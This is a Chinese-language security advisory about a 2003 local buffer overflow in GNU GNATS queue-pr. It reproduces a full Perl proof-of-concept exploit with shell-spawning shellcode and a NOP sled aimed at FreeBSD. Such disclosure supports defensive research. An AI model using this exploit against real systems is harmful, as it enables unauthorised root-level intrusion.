安全研究

安全漏洞
GNU GNATS Queue-PR Database命令行选项本地缓冲区溢出漏洞

发布日期:2003-07-21
更新日期:2003-07-28

受影响系统:
GNU GNATS 3.113.1_6
描述:
BUGTRAQ  ID: 8232

GNATS是一款GNU漏洞、缺陷跟踪系统。

GNATS包含的Queue-PR工具在处理命令行选项时缺少正确边界缓冲区检查,本地攻击者可以利用这个漏洞触发缓冲区溢出攻击,可以root用户权限在系统上执行任意指令。

Queue-PR工具在处理database命令行选项("-d")时缺少边界检查,攻击者提交超长字符串给"-d"选项,执行Queue-PR可导致触发缓冲区溢出,精心构建提交数据可以root用户权限在系统上执行任意指令。

<*来源:inv@dtors
  
  链接:http://packetstormsecurity.nl/0307-exploits/DSR-gnats.pl
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

inv@dtors 提供了如下测试方法:

#!/usr/bin/perl

# Simple PoC exploit for gnats
# Tested on FreeBSD 5.0 with gnats-3.113.1_6
# if all works it gives gnats access

# Code by inv[at]dtors

$ret_hex = 0xbfbffb90;
$shellcode ="\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x54\x53\x52\x31\xc0\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
$nops = "\x90"x1110;
$ret = pack('l', $ret_hex);

$exploit = "$nops"."$shellcode"."$ret"."$ret";
local($ENV{'EXP'}) = $exploit;

print "\ndtors gnats exploit\n";
print "code by inv\n\n";
print ("Address: 0x", sprintf('%lx', $ret_hex),"\n\n");

system('/usr/local/libexec/gnats/queue-pr -d $EXP -O bbb');

建议:
厂商补丁:

GNU
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.gnu.org

浏览次数:2719
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障